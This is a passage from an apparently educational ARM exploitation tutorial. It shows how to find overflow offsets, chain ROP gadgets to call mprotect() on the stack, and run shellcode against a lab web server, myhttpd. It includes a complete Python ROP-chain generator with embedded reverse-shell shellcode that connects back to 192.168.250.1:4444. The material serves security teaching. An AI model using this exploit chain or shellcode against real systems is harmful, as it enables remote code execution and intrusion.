points to a address, which is a little bit smaller than the initial <code>child_stack</code> value.</p>
<p>Well, let's summarize: We control the execution flow and also got some memory to store our ROP chain!</p>
<h2>Finding the offsets</h2>
<p>We already learned in the previous post that knowing about the the stack layout is crucial in building stack overflows.
If you have plenty or large local variables
stored on the stack, you have to shift your ROP payload many bytes towards higher memory regions, to reach the saved <code>LR</code>.
Therefore the next step is to find the right offsets (<em>shifter</em> variable in my overflowgen.py script, I will introduce that soon) to shift the address
of our first gadget (and therefore the whole ROP chain and overflow data) exactly where the saved <code>LR</code> resides. Over the years
plenty of tools got developed to ease that task, one is included in the metasploit framework
(/usr/share/metasploit-framework/tools/pattern_create.rb). But since we are using radare2, like the cool kids,
we can use <code>ragg2</code>'s included Bruijin pattern generator:</p>
<p><asciinema-player src="static/arm-exploitation-cast-3.cast" ></asciinema-player></p>
<p>As you can see ragg2 does not avoid putting 1 into LSB (I do not know if metasploit does that, though). Therefore if ragg2 does not find the offset, try with +1, as I
did in the video. Our offsets:</p>
<ul>
<li><strong>PC: 144 Bytes</strong></li>
<li><strong>SP: 148 Bytes</strong></li>
</ul>
<p>For reference the commandline to generate and query the Bruijin patterns:</p>
<div class="highlight"><pre><span></span><code><span class="nv">BRUIJN</span><span class="o">=</span><span class="sb">`</span>ragg2<span class="w"> </span>-r<span class="w"> </span>-P<span class="w"> </span><span class="m">250</span><span class="p">|</span><span class="w"> </span>tr<span class="w"> </span>-d<span class="w"> </span><span class="s1">'\n'</span><span class="sb">`</span><span class="p">;</span><span class="w"> </span><span class="nb">echo</span><span class="w"> </span>-e<span class="w"> </span><span class="s2">"GET </span><span class="nv">$BRUIJN</span><span class="s2"> HTTP/1.1\n"</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>nc<span class="w"> </span><span class="m">127</span>.0.0.1<span class="w"> </span><span class="m">8080</span>
</code></pre></div>
<p>Then you can use ragg2 to query for the found offsets: <code>ragg2 -q 0x....</code></p>
<h2>Exploiting the vulnerability</h2>
<p>Depending on the length of your ROP chain you can execute basically all commands which you would otherwise execute in a shellcode. Nonetheless, space on stack
might be restricted and moreover it is much simpler to build, test and then execute a shellcode. Now we got two conflicting goals: We got memory space for
shellcode on the stack but the stack is only (rw-) - we can't execute it. Well, we already met the systemcall <code>mprotect()</code>, when the worker thread stack was
created. Nothing stops us from using that system call again to make the stack (rwx) instead of (rw-) and then execute our shellcode from the stack. Many classic
ROP chains use exactly that technique...</p>
<h3>Defining the goal: paramters for mprotect()</h3>
<p>The prototype of <code>mprotect()</code>:</p>
<div class="highlight"><pre><span></span><code>int<span class="w"> </span>mprotect<span class="o">(</span>void<span class="w"> </span>*addr,<span class="w"> </span>size_t<span class="w"> </span>len,<span class="w"> </span>int<span class="w"> </span>prot<span class="o">)</span><span class="p">;</span>
</code></pre></div>
<p><code>*addr</code> is the address where <code>mprotect()</code> starts to apply the permissions. The result will be: The next <code>len</code> bytes will have, after the call, set the
permissions delivered via the <code>prot</code> parameter. The parameter <code>prot</code> has to be a xor of the following values:</p>
<div class="highlight"><pre><span></span><code><span class="m">32</span><span class="w"> </span><span class="c1">#define PROT_READ 0x1 /* Page can be read. */</span>
<span class="m">33</span><span class="w"> </span><span class="c1">#define PROT_WRITE 0x2 /* Page can be written. */</span>
<span class="m">34</span><span class="w"> </span><span class="c1">#define PROT_EXEC 0x4 /* Page can be executed. */</span>
<span class="m">35</span><span class="w"> </span><span class="c1">#define PROT_NONE 0x0 /* Page can not be accessed. */</span>
mman-linux.h
</code></pre></div>
<p>Our target register values then are:</p>
<ul>
<li><code>R0</code>: address of thread stack. <code>*addr</code> must be aligned to the systems page size (most commonly 4096 bytes). You want that <code>R0</code> is smaller than the
address, where your shellcode will be loaded.</li>
<li><code>R1</code>: Some value to make sure our stack will be made executeable.</li>
<li><code>R2</code>: 0x7</li>
</ul>
<p>The chaining instruction of our last ROP gadget will point to the address of <code>mprotect()</code> in libc. <code>mprotect()</code> will then return and next our shellcode will be
executed. I guess now is a good point to talk about chaining instructions...</p>
<h3>Chaining instructions - handling <code>BX LR</code></h3>
<p>When I explained the general ROP idea in the <a href="/arm-exploitation-defeating-dep-execute-system.html">second part</a> of this series, I ready dropped two gadgets with different chaining instructions: <code>POP {..., PC}</code> and <code>BLX R4</code>. Then we talked about leaf and non-leaf functions, compared
their epilogues and found that <code>BX LR</code> is used in leaf functions to return back to the caller.
Certainly these instruction is also used as the chaining instructions of a gadget. Since we can't be too picky with gadgets, we have to use
what we get as gadgets.</p>
<p>I think at this point it should be pretty how we chain gadgets (if not see the previous post) like <code>POP {..., PC}</code>. But how do we handle <code>BX LR</code>?
One way would be to prepare the <code>LR</code> register each time with the next gadgets address before using a gadget, which uses <code>BX LR</code> as chaining instruction.
That would be certainly possible, but pretty costly in matters of space and not very effective. A more elegant way is to point <code>LR</code> to a gadget which does
something like <code>POP {PC}</code>, so that we can use <code>BX LR</code> gadgets just by pushing the address of the next gadget on the stack. A simple example:</p>
<p>Execution flow:</p>
<div class="highlight"><pre><span></span><code>LR:<span class="w"> </span>0xaaaaaaaa
<span class="w"> </span>+-------+<span class="w"> </span>0xaaaaaaaa<span class="w"> </span>:<span class="w"> </span>pop<span class="w"> </span><span class="o">{</span>pc<span class="o">}</span><span class="w"> </span><-----+<span class="w"> </span><span class="m">2</span><span class="o">)</span>
<span class="w"> </span><span class="p">|</span><span class="w"> </span>+
<span class="w"> </span><span class="m">3</span><span class="o">)</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>0xbbbbbbbb<span class="w"> </span>:<span class="w"> </span>mov<span class="w"> </span>r0,<span class="w"> </span><span class="c1">#1337, bx lr <---------+ 1)</span>
<span class="w"> </span><span class="p">|</span>
<span class="w"> </span>+------><span class="w"> </span>0xcccccccc<span class="w"> </span>:<span class="w"> </span>mov<span class="w"> </span>r2,<span class="w"> </span>r1,<span class="w"> </span>pop<span class="w"> </span><span class="o">{</span>r11,<span class="w"> </span>pc<span class="o">}</span>
</code></pre></div>
<p>Stack layout while execution:</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span>SP
<span class="w"> </span>+<span class="w"> </span>0xa...<span class="w"> </span>0xc...
<span class="w"> </span><span class="p">|</span><span class="w"> </span>+---><span class="w"> </span>+---------->
<span class="w"> </span>v
+---------------------+-------+------------------------------+
<span class="p">|</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>0x<span class="w"> </span><span class="p">|</span><span class="w"> </span>JUNK<span class="w"> </span><span class="p">|</span><span class="w"> </span>value<span class="p">|</span><span class="w"> </span><span class="p">|</span>
<span class="p">|</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>cc<span class="w"> </span><span class="p">|</span><span class="w"> </span>value<span class="w"> </span><span class="p">|</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">|</span><span class="w"> </span><span class="p">|</span>
<span class="p">|</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>cc<span class="w"> </span><span class="p">|</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>PC<span class="w"> </span><span class="p">|</span><span class="w"> </span><span class="p">|</span>
<span class="p">|</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>cc<span class="w"> </span><span class="p">|</span><span class="w"> </span>R11<span class="w"> </span><span class="p">|</span><span class="w"> </span><span class="p">|</span><span class="w"> </span><span class="p">|</span>
<span class="p">|</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>cc<span class="w"> </span><span class="p">|</span><span class="w"> </span><span class="p">|</span><span class="w"> </span><span class="p">|</span><span class="w"> </span><span class="p">|</span>
+-------------+-------+-------+------+-----------------------+
0x0<span class="w"> </span>0xF
</code></pre></div>
<p>We want to first execute the gadget at <code>0xbbbbbbb</code>, then the gadget at <code>0xcccccccc</code>. <code>LR</code> points to the gadget at <code>0xaaaaaaa</code>. When a gadget uses <code>BX LR</code> as
chaining instruction, <code>BX LR</code> will jump to <code>0xaaaaaaaa</code>, <code>POP</code> the value at <code>SP</code> into <code>PC</code> and therefore continue the execution there. In our example we prepared the
ROP chain in a way that <code>0xaaaaaaaa</code> <code>POP</code>s the address <code>0xcccccccc</code> into PC. Each time we use a <code>BX LR</code> gadget now, we can push the following gadgets address
on the stack and therefore chain them in a more convinient way.</p>
<p>Sometimes there are chaining instructions which use <code>BL</code> in any combination, like <code>BLX R7</code>. When we can't avoid using such a gadget, we have to restore
our value in <code>LR</code> to point again to <code>0xaaaaaaa</code>, since the <code>BL</code> instruction will update <code>LR</code> with <code>PC+4</code>.</p>
<p>For all other chaining instructions I assume the instructions show what has to be done and how the ROP chain has to be prepared to chain gadgets successfully.</p>
<h3>Using ropper</h3>
<p>How do we find gadgets? You can manually dissect and disassemble them using objdump... but thats a pain. Let me introduce ropper:</p>
<p><a href="https://github.com/sashs/Ropper">ropper</a> can be easily installed in a python virtualenv. Check the GitHub for instructions.</p>
<p>I'll let the following asciinema explain the most important features:</p>
<p><asciinema-player src="static/arm-exploitation-cast-2.cast" ></asciinema-player></p>
<p>The parameter /1/ specifies the quality of the found gadgets, which basically stands for the number of instructions per gadget. /1/ will find gadgets, where
the first instruction matches the seach parameter and the second is the chaining
opcde. /2/ will consequently find additionally gadgets, which have a second instruction before the chaining one. You can use these instructions too, as long as they
do not interfere with your ROP chain...</p>
<p>Ropper shows the offsets of the found instructions inside the searched binary. In the first section of this post we already had a look where in memory the
libraries reside. To use the gadgets from within libc we will add the offset roppers shows us to the base address, we already found out.</p>
<p>As you already know ARM instructions are 32 bit long, Thumb instructions only 16 bit. We can use this fact and interprete 32 bit ARM instructions as 16 bit
Thumb instructions by just splitting them in half. Ropper does
that automatically, if we set <em>arch ARMTHUMB</em>. Beware: As you can see in the asciinima above, if we set ARMTHUMB as architecture, ropper will show us two
columns of offsets (red and green). The <em>green</em> one is the one you want to choose
as offset. You will note that the LSB of the green addresses is 1, so the core will automatically jump to Thumb mode when the gadget is executed.</p>
<h2>ROP ROP ROP</h2>
<p>Next step is build the ROP chain, which</p>
<ol>
<li>sets up <code>R0</code>, <code>R1</code> and <code>R2</code> in a way that the stack region of our threat is going to be remapped (rwx) after <code>mprotect()</code> was called</li>
<li>call mprotect()</li>
<li>jump to our shellcode on stack</li>
</ol>
<p>Currently I do not think that it would be very helpful to explain the hole ROP chain. If you want an explanation, contact me and I will add one. Until then, I hope the embedded comments and the following bullet points
are sufficient.</p>
<ul>
<li>
<p>My ROP chain comments notation:</p>
<ul>
<li><code>(7)</code>: new (7th) gadget</li>
<li><code>(7 p1)</code>: parameter 1 to gadget <code>(7)</code></li>
<li>ergo: "<code>(15 p1): (16) mov r0, #56</code>" means that parameter 1 of gadget <code>15</code> is the address of gadget <code>(16)</code>.</li>
</ul>
</li>
<li>
<p>Preparing the <code>mprotect()</code> call</p>
<ul>
<li>How to prepare <code>R0</code>: load SP + 4 into <code>R0</code> (11), align value to 4096 (page size on my system) (14) by calculating <code>R0</code> && <code>R1</code> (<code>0xFFFFF001</code> - LSB of <code>SP</code> will
always be 0). <code>R1</code> got initiialized by gadget (9 p2).</li>
<li>How to prepare <code>R1</code>: load with <code>0x01010101</code> (15 p1)</li>
<li>How to prepare <code>R2</code>: Load <code>0xFFFFFFFF-0x29</code> into <code>R6</code> (3 p4), <code>ADD 0x31</code> (= 0x7) (4). Then move <code>R6</code> to <code>R2</code> (6)</li>
<li>mprotect() is then called in (15 p2)</li>
</ul>
</li>
<li>
<p>when mprotect() returns, it will execute our prepared <code>BX LR</code> slide, which will execute <code>POP {PC}</code> and load the address of the last
gadget from the stack. The last gadget (16) is then executed: <code>BLX SP</code>. Since <code>SP</code> now points to our shellcode, which is appended directly to our ROP chain, we that will execute the shellcode.</p>
</li>
<li>
<p>The shellcode I used is from Azerias great tutorial on <a href="https://azeria-labs.com/tcp-reverse-shell-in-assembly-arm-32-bit/">ARM shellcode</a> - in this case it is the
TCP reverse shellcode, which connects back to port 4444. I changed the connectback IP to 192.168.250.1. That means the exploited myhttpd process will connect
back to a netcat listener on my host system.</p>
</li>
</ul>
<p>The other gadgets, which are part of my ROP chain (see below in the script) are used to set up the <code>BX LR</code> slide, restore it, prepare values, and so on...</p>
<p>The ROP chain is embedded in my overflowgen.py script (see below), which should make ROP chain developement easier. Take your time to understand
the script and its features, like <code>--human</code> print and <code>--httpencode</code>. You can read about I use <code>--human</code> in the next section.</p>
<p>The first few variables (shift, shellcode, fmt, base) depend on your environment. During this post we found the values for base, shift (offset). Check
them and make sure you understand what they do and how we found them during this tutorial.</p>
<p>You can find the ROP chain I used to exploit myhttpd as <code>overflow</code> variable in the following script.</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!env python</span>
<span class="kn">import</span> <span class="nn">struct</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">argparse</span>
<span class="kn">from</span> <span class="nn">urllib.parse</span> <span class="kn">import</span> <span class="n">quote_from_bytes</span>
<span class="n">parser</span> <span class="o">=</span> <span class="n">argparse</span><span class="o">.</span><span class="n">ArgumentParser</span><span class="p">()</span>
<span class="n">parser</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s1">'--human'</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s1">'print overflow string human readable'</span><span class="p">,</span> <span class="n">action</span><span class="o">=</span><span class="s1">'store_true'</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
<span class="n">parser</span><span class="o">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s1">'--httpencode'</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s1">'HTTP encode overflow data (not pre_out() and post_out() data'</span><span class="p">,</span> <span class="n">action</span><span class="o">=</span><span class="s1">'store_true'</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
<span class="n">args</span> <span class="o">=</span> <span class="n">parser</span><span class="o">.</span><span class="n">parse_args</span><span class="p">()</span>
<span class="c1"># <I little endian unsigned integer</span>
<span class="c1"># adjust to your CPU arch</span>
<span class="k">global</span> <span class="n">fmt</span>
<span class="n">fmt</span><span class="o">=</span><span class="s1">'<I'</span>
<span class="c1"># base address in the process memory of the library you want to use for your ROP chain</span>
<span class="n">base</span><span class="o">=</span><span class="mh">0xb6e5a000</span>
<span class="c1"># how many bytes should we shift? memory: [shift*"A"+data()+lib(),...]</span>
<span class="n">shift</span><span class="o">=</span><span class="mi">144</span>
<span class="n">shifter</span> <span class="o">=</span> <span class="p">[</span><span class="nb">bytes</span><span class="p">(</span><span class="n">shift</span><span class="o">*</span><span class="s1">'A'</span><span class="p">,</span><span class="s1">'ascii'</span><span class="p">),</span><span class="s1">'shifter'</span><span class="p">]</span>
<span class="n">shellcode</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">'</span><span class="se">\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0a\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x52\x40\x49\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\xc0\xa8\xfa\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58</span><span class="s1">'</span>
<span class="k">def</span> <span class="nf">pre_out</span><span class="p">():</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"GET "</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s1">''</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">post_out</span><span class="p">():</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">" HTTP/1.1</span><span class="se">\r\n\r\n\r\n</span><span class="s2">"</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s1">''</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">data</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">cmt</span><span class="o">=</span><span class="s1">''</span><span class="p">):</span>
<span class="k">return</span> <span class="p">[</span><span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="n">fmt</span><span class="p">,</span><span class="n">data</span><span class="p">),</span><span class="n">cmt</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">lib</span><span class="p">(</span><span class="n">offset</span><span class="p">,</span> <span class="n">cmt</span><span class="o">=</span><span class="s1">''</span><span class="p">):</span>
<span class="k">return</span> <span class="p">[</span><span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="n">fmt</span><span class="p">,</span><span class="n">base</span><span class="o">+</span><span class="n">offset</span><span class="p">),</span><span class="n">cmt</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">out</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">[</span><span class="n">d</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="k">for</span> <span class="n">d</span> <span class="ow">in</span> <span class="n">data</span><span class="p">]</span>
<span class="n">b</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="s1">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">data</span><span class="p">))</span>
<span class="n">pre_out</span><span class="p">()</span>
<span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span>
<span class="k">if</span> <span class="n">shellcode</span> <span class="o">!=</span> <span class="s1">''</span><span class="p">:</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">shellcode</span><span class="p">:</span>
<span class="n">b</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
<span class="k">if</span> <span class="n">args</span><span class="o">.</span><span class="n">httpencode</span><span class="p">:</span>
<span class="n">b</span> <span class="o">=</span> <span class="n">quote_from_bytes</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s1">''</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">args</span><span class="o">.</span><span class="n">httpencode</span><span class="p">:</span>
<span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">buffer</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>
<span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span>
<span class="n">post_out</span><span class="p">()</span>
<span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">out_human</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
<span class="n">pre_out</span><span class="p">()</span>
<span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span>
<span class="n">b</span> <span class="o">=</span> <span class="s1">'['</span>
<span class="k">for</span> <span class="n">d</span> <span class="ow">in</span> <span class="n">data</span><span class="p">:</span>
<span class="n">b</span><span class="o">+=</span><span class="s1">'0x'</span><span class="o">+</span><span class="n">d</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span><span class="o">+</span><span class="s1">' = '</span><span class="o">+</span><span class="n">d</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">+</span><span class="s1">'|'</span>
<span class="k">if</span> <span class="n">shellcode</span> <span class="o">!=</span> <span class="s1">''</span><span class="p">:</span>
<span class="n">b</span> <span class="o">+=</span> <span class="n">shellcode</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span>
<span class="n">b</span> <span class="o">+=</span> <span class="s1">']'</span>
<span class="nb">print</span><span class="p">(</span><span class="n">b</span><span class="p">,</span><span class="n">end</span><span class="o">=</span><span class="s1">''</span><span class="p">)</span>
<span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span>
<span class="n">post_out</span><span class="p">()</span>
<span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span>
<span class="k">if</span> <span class="n">args</span><span class="o">.</span><span class="n">human</span><span class="p">:</span>
<span class="n">fmt</span> <span class="o">=</span> <span class="s1">'>I'</span>
<span class="n">overflow</span> <span class="o">=</span> <span class="p">[</span>
<span class="n">shifter</span><span class="p">,</span>
<span class="c1"># prepare BX LR slider, chaining with r3</span>
<span class="n">lib</span><span class="p">(</span><span class="mh">0x00103251</span><span class="p">),</span> <span class="c1"># (1): 0x00103250 (0x00103251): pop {r3, r7, pc};</span>
<span class="n">lib</span><span class="p">(</span><span class="mh">0x0000220f</span><span class="p">,</span><span class="s1">'r3'</span><span class="p">),</span> <span class="c1"># (1 p1): prepare r3 for gadget (3) 0x0000220e (0x0000220f): pop {r0, r3, r4, r6, r7, pc};</span>
<span class="n">data</span><span class="p">(</span><span class="mh">0x56565656</span><span class="p">,</span><span class="s1">'r7'</span><span class="p">),</span> <span class="c1"># (1 p2): JUNK</span>
<span class="n">lib</span><span class="p">(</span><span class="mh">0x0005c038</span><span class="p">,</span><span class="s1">'pc'</span><span class="p">),</span> <span class="c1"># = (1 p3: ) (2): 0x0005c038: pop {lr}; bx r3;</span>
<span class="n">lib</span><span class="p">(</span><span class="mh">0x000db435</span><span class="p">,</span><span class="s1">'lr'</span><span class="p">),</span> <span class="c1"># = (2 p1): bx lr slide: 0x000db434 (0x000db435): pop {pc};</span>
<span class="c1"># / prepare BX LR slider</span>
<span class="n">lib</span><span class="p">(</span><span class="mh">0x00024cb4</span><span class="p">,</span><span class="s1">'r0'</span><span class="p">),</span> <span class="c1"># (3 p1) (5:) and r0, r0, #1; bx lr;</span>
<span class="n">lib</span><span class="p">(</span><span class="mh">0x00103251</span><span class="p">,</span> <span class="s1">'r3'</span><span class="p">),</span> <span class="c1"># (3 p2) (7:) restore lr,</span>
<span class="n">data</span><span class="p">(</span><span class="mh">0x54545454</span><span class="p">,</span><span class="s1">'r4'</span><span class="p">),</span> <span class="c1"># (3 p3) # JUNK</span>
<span class="n">data</span><span class="p">(</span><span class="mh">0xFFFFFFFF</span><span class="o">-</span><span class="mh">0x29</span><span class="p">,</span><span class="s1">'r6'</span><span class="p">),</span> <span class="c1"># (3 p4): value for (4) gadget</span>
<span class="n">data</span><span class="p">(</span><span class="mh">0x57575757</span><span class="p">,</span><span class="s1">'r7'</span><span class="p">),</span> <span class="c1"># (3 p5)</span>
<span class="n">lib</span><span class="p">(</span><span class="mh">0x00012f6f</span><span class="p">,</span><span class="s1">'PC'</span><span class="p">),</span> <span class="c1"># (3 p6) (4:) adds r6, #0x31; bx r0;</span>
<span class="n">lib</span><span class="p">(</span><span class="mh">0x0003ea84</span><span class="p">),</span> <span class="c1"># (5 p1 bx lr) (6:) mov r2, r6; blx r3;</span>
<span class="n">lib</span><span class="p">(</span><span class="mh">0x00116b80</span><span class="p">),</span> <span class="c1"># (7: p1) (9:) 0x00116b80: pop {r1, pc};</span>
<span class="n">data</span><span class="p">(</span><span class="mh">0x57575757</span><span class="p">),</span> <span class="c1"># (7 p2)</span>
<span class="n">lib</span><span class="p">(</span><span class="mh">0x0005c038</span><span class="p">,</span><span class="s1">'pc'</span><span class="p">),</span> <span class="c1"># = (7 p3: ) (8:) 0x0005c038: pop {lr}; bx r3; (2)</span>
<span class="n">lib</span><span class="p">(</span><span class="mh">0x000db435</span><span class="p">,</span><span class="s1">'lr'</span><span class="p">),</span> <span class="c1"># = (8 p1): bx lr slide: 0x000db434 (0x000db435): pop {pc};</span>
<span class="n">data</span><span class="p">(</span><span class="mh">0xFFFFF001</span><span class="p">,</span> <span class="s1">'r1'</span><span class="p">),</span> <span class="c1">#( 9 p1)</span>
<span class="n">lib</span><span class="p">(</span><span class="mh">0x00103251</span><span class="p">),</span> <span class="c1"># (9 p2) (10:) 0x00103250 (0x00103251): pop {r3, r7, pc};</span>
<span class="n">lib</span><span class="p">(</span><span class="mh">0x00103251</span><span class="p">,</span><span class="s1">'r3'</span><span class="p">),</span> <span class="c1"># (10 p1) (11:) 0x00103250 (0x00103251): pop {r3, r7, pc};</span>
<span class="n">data</span><span class="p">(</span><span class="mh">0x56565656</span><span class="p">,</span><span class="s1">'r7'</span><span class="p">),</span> <span class="c1"># (10 p2)</span>
<span class="n">lib</span><span class="p">(</span><span class="mh">0x00107cb4</span><span class="p">,</span> <span class="s1">'PC'</span><span class="p">),</span> <span class="c1"># (10 p3) add r0, sp, #4; blx r3;</span>
<span class="n">lib</span><span class="p">(</span><span class="mh">0x00024e54</span><span class="p">,</span> <span class="s1">'R3'</span><span class="p">),</span> <span class="c1"># (11 p1), (13:) #0x00024e54: and r0, r0, r1; bx lr;</span>
<span class="n">data</span><span class="p">(</span><span class="mh">0x57575757</span><span class="p">,</span><span class="s1">'r7'</span><span class="p">),</span> <span class="c1"># (11 p2)</span>
<span class="n">lib</span><span class="p">(</span><span class="mh">0x0005c038</span><span class="p">,</span><span class="s1">'pc'</span><span class="p">),</span> <span class="c1"># (11 p3: ) (12): 0x0005c038: pop {lr}; bx r3;</span>
<span class="n">lib</span><span class="p">(</span><span class="mh">0x000db435</span><span class="p">,</span><span class="s1">'lr'</span><span class="p">),</span> <span class="c1"># (12 p1): bx lr slide: 0x000db434 (0x000db435): pop {pc};</span>
<span class="n">lib</span><span class="p">(</span><span class="mh">0x00116b80</span><span class="p">),</span> <span class="c1"># (13 p1) (14:) 0x00116b80: pop {r1, pc};</span>
<span class="n">data</span><span class="p">(</span><span class="mh">0x10101010</span><span class="p">,</span> <span class="s1">'r1'</span><span class="p">),</span> <span class="c1"># (14 P1)</span>
<span class="n">lib</span><span class="p">(</span><span class="mh">0x000d22d0</span><span class="p">,</span><span class="s1">'PC'</span><span class="p">),</span> <span class="c1"># (14 p2) mprotect</span>
<span class="n">lib</span><span class="p">(</span><span class="mh">0x00034d1d</span><span class="p">,</span><span class="s1">'PC'</span><span class="p">)</span> <span class="c1"># blx sp</span>
<span class="p">]</span>
<span class="k">if</span> <span class="n">args</span><span class="o">.</span><span class="n">human</span><span class="p">:</span>
<span class="n">out_human</span><span class="p">(</span><span class="n">overflow</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">out</span><span class="p">(</span><span class="n">overflow</span><span class="p">)</span>
</code></pre></div>
<p>Download the script <a href="https://github.com/dimhttps://github.com/dim0x69/arm-exploitation-rop/blob/master/lab-material/overflowgen-myhttpd.py">here</a>.</p>
<h3>ROP chain developement process</h3>
<p>My process is currently as follows:</p>
<ul>
<li>I only add one gadget at a time.</li>
<li>Before sending the payload to the vulnerable process I attach my debugger.</li>
<li>I set up the new gadget in a way that <code>PC</code> is going to be something known, the same for chaged registers.</li>
<li>After I executed the payload I inspect the registers to check if the gadget was successfully executed.</li>
</ul>
<p>To ease that task I added a <code>--human</code> option to my script, which basically prints our the following output:</p>
<div class="highlight"><pre><span></span><code><span class="o">[</span>root@armbox<span class="w"> </span>~<span class="o">]</span><span class="c1"># python overflowgen-myhttpd.py --human</span>
GET
<span class="o">[</span>0x41<span class="o">[</span>...<span class="o">]</span><span class="nv">1414141414141414141414141</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>shifter<span class="p">|</span><span class="nv">0xb6f5d251</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">|</span><span class="nv">0xb6e5c20f</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>r3<span class="p">|</span><span class="nv">0x56565656</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>r7<span class="p">|</span>
<span class="nv">0xb6eb6038</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>pc<span class="p">|</span><span class="nv">0xb6f35435</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>lr<span class="p">|</span><span class="nv">0xb6e7ecb4</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>r0<span class="p">|</span><span class="nv">0xb6f5d251</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>r3<span class="p">|</span><span class="nv">0x54545454</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>r4<span class="p">|</span><span class="nv">0xffffffd6</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>r6<span class="p">|</span>
<span class="nv">0x57575757</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>r7<span class="p">|</span><span class="nv">0xb6e6cf6f</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>PC<span class="p">|</span><span class="nv">0xb6e98a84</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">|</span><span class="nv">0xb6f70b80</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">|</span><span class="nv">0x57575757</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">|</span><span class="nv">0xb6eb6038</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>pc<span class="p">|</span>
